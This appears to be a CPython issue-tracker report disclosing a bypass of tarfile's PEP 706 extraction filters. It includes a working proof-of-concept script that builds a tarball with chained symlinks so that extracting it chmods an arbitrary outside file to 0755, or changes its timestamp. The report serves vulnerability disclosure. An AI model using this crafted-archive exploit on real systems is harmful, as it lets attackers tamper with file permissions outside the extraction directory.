Open
Description
TarFile.extractall()
can be tricked into chmodding arbitrary file (outside of the destination directory) to 0755
, despite using filter='tar'
:
$ target=$(mktemp) $ defeatpep706 eggs.tar $target $ ls -l $target -rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F $ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d) $ ls -l $target -rwxr-xr-x 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.uxCZC0Zs3F
filter='data'
is vulnerable too, although in that case the damage is limited to updating the file timestamp:
$ target=$(mktemp) $ defeatpep706 eggs.tar $target $ ls -l $target -rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp $ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d) $ ls -l $target -rw------- 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.WeCifOsQmp
Here's the source for the defeatpep706
script:
#!/usr/bin/python3 import argparse import os import tarfile ap = arparse = argparse.ArgumentParser() ap.add_argument('tarpath', metavar='TARBALL') ap.add_argument('target', metavar='TARGET') opts = ap.parse_args() target = os.path.abspath(opts.target) with tarfile.open(opts.tarpath, 'w') as tar: def addmemb(name, **kwargs): memb = tarfile.TarInfo(name) for k, v in kwargs.items(): getattr(memb, k) setattr(memb, k, v) tar.addfile(memb) # lrw-r--r-- pwn -> . addmemb('pwn', type=tarfile.SYMTYPE, linkname='.') # "pwn" is a very innocent symlink. # drwxrwxrwx pwn/ addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777) # But now "pwn" is also a directory, so it's scheduled to have its # metadata updated later. # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target)) # Oops, "pwn" is not so innocent any more. # But technically it's still pointing inside the dest dir, # so it doesn't upset the "data" filter. # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/.. addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98)) # The newly created symlink symlink points to the dest dir, # so it's OK for the "data" filter. # But now "pwn" points to the target (outside the dest dir).
Tested with Python 3.12.8.
Linked PRs
Metadata
Metadata
Assignees
Labels
Projects
Status
No status